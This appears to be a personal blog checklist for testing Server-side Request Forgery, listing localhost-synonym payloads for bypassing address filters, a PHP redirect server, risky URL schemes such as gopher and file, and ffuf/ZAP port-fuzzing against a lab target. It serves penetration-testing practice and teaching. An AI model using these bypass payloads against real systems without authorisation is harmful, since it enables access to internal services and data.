Server-side Request Forgery (SSRF)
2024-06-17
INTRODUCTION
Why write this?
I often forget small steps about testing SSRF. It’d be good to have a checklist to remind myself of things to investigate when I find an opportunity for SSRF.
This is by no means comprehensive. If you want a longer and more detailed guide, I recommend the Hacktricks page
ADDRESS FILTER BYPASS
Even if an SSRF vulnerability is present, any half-decent web app will still filter the addresses that can be requested via the SSRFable component. Usually, these constaints are introduced to force the user of the web app to:
- Request internal resources only - external resources should be blocked
- Request external resources only - internal resources should be blocked
Often, this mechanism is written solely through deny-listing. Thankfully for pentesters, deny-listing is very tricky to do well!
Bypass restrictions to localhost
Try all of these synonyms for localhost:
-
http://localhost
-
https://localhost
-
http://127.0.0.1
-
http://127.000.000.001
-
http://127.1
-
http://2130706433
-
http://017700000001
-
HtTp://LoCaLhOsT
-
http://0.0.0.0
-
http%3A%2F%2127.0.0.1
- Redirect from attacker-controlled server
To perform the redirection as mentioned above, an easy way is to use PHP:
<?php
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
$url = 'http://127.0.0.1/resource.txt';
header("Location: $url", true, 302);
exit;
} else {
http_response_code(405);
echo "Method not allowed";
}
?>
Then just run the PHP development server:
sudo ufw allow from $RADDR to any port 8000 proto tcp
php -S 0.0.0.0:8000
URL SCHEMES
Make sure to try a variety of URL schemes:
http://
file://
ftp://
data://
glob://
gopher://
expect://
php://
dict://
urllib bypass
The popular python tool urllib has a serious flaw in python version <3.7. You can bypass checking the URL scheme by simply adding a space at the beginning of the URL. For more details see CVE-2023-24329.
PORT FUZZING
List of ports
If you’re using Ffuf, you’ll need to generate a wordlist of port numbers:
seq 1 65535 > port_numbers.txt
Then, make a request through the SSRFable component. Proxy the request through ZAP or Burp as you make it.
Another good source of port numbers is to use the nmap top-1000. You can find a handy wordlist for that in Seclists
that defaults to /usr/share/seclists/Discovery/Infrastructure/nmap-ports-top1000.txt
.
The
nmap-ports-top1000.txt
file is a comma-separated list, and includes ranges of ports. To transform it into something easier to parse, just use some scripting. Or save yourself some time and use the one I created.
Using ZAP
Check the proxied request. Open it in the Requester tab. Right click the resulting pane and select Fuzz. Define a new variable for the port, using the Numberzz
payload type:
Add the payload and start fuzzing!
Ffuf
From within ZAP, Burp, or Firefox Devtools, save the request as a “raw request” file. Then, edit the “raw request” file to contain the fuzzable keywords. For example, here is a multipart/form-data
request, edited to contain the PORT keyword:
POST http://target.htb/upload HTTP/1.1
host: target.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Type: multipart/form-data; boundary=---------------------------185675169266113044496348590
content-length: 123
Origin: http://target.htb
-----------------------------185675169266113044496348590
Content-Disposition: form-data; name="redirect"
http://127.0.0.1:PORT
-----------------------------185675169266113044496348590--
From there, it’s easy: just pass the -request
argument to Ffuf:
ffuf -w port_numbers.txt:PORT -request ssrf_port.raw -c -v
Ffuf will try sending the same request template, swapping out the PORT
keyword for every request.
⭐ Sometimes you’ll want your results to appear in ZAP or Burp. For Ffuf, just use
-replay-proxy http://127.0.0.1:8080
.
ENCODING
To-do: Write about URL-encoding, double-url-encoding, etc…
OTHER
HTTP Verbs
Be sure to try this wordlist: /usr/share/seclists/Fuzzing/http-request-methods.txt
USEFUL REFERENCES
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake